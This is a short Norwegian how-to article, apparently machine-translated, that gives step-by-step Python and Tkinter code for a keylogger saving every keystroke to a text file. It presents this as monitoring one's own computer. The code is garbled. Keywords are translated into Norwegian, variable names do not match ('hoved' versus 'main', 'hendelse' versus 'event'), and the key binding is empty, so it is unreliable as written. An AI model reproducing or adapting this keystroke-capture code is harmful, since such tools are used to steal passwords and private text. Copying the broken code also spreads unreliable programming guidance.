Hvordan lage en Keylogger ved hjelp av Python

click fraud protection
Kvinne ved datamaskinen ser over skulderen

Ta opp tastetrykk og lagre dem i en fil.

Bildekreditt: Jupiterimages/Photos.com/Getty Images

Du kan lage et keylogger-program ved å bruke Python for å fange opp tastetrykkene som skrives inn via datamaskinens tastatur. Tastetrykkene lagres i en tekstfil, og den registrerer alle inndata. Du kan bruke en nøkkellogger for å overvåke aktiviteten på datamaskinen din.

Trinn 1

Start IDLE, klikk på "Fil"-menyen og velg "Nytt vindu" for å åpne et nytt vindu. Trykk Ctrl og S for å åpne "Lagre som"-vinduet. Bruk "getKeyLogger" som filnavn og klikk "Lagre".

Dagens video

Steg 2

Legg til følgende kodelinje for å importere "Tkinter"-navneområdet og definer banen til filen du vil bruke til å logge:

importer Tkinter som tk myFile = open("C:/temp/keyFile.txt", "w")

Trinn 3

Kopier og lim inn følgende kode for å lagre hvert tastetrykk i filen:

def tastetrykk (hendelse): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Trinn 4

Legg til følgende kode for å la en bruker vite at han kan begynne å skrive, og at han kan trykke Esc for å avslutte programmet:

hoved = tk. Tk() print "Trykk hvilken som helst tast (Escape-tast for å avslutte):" main.bind_all('', tastetrykk) main.withdraw() main.mainloop() myFile.close()

Trinn 5

Klikk på "Windows" startknappen og skriv "cmd" i "søk etter programmer og filer"-boksen. Trykk Enter for å åpne ledeteksten. Gå til "C:\Python" og skriv "python getKeyLogger." Trykk Enter for å kjøre programmet. Gå til "C:/temp/" og dobbeltklikk på "keyFile.txt" for å se tastetrykkdata.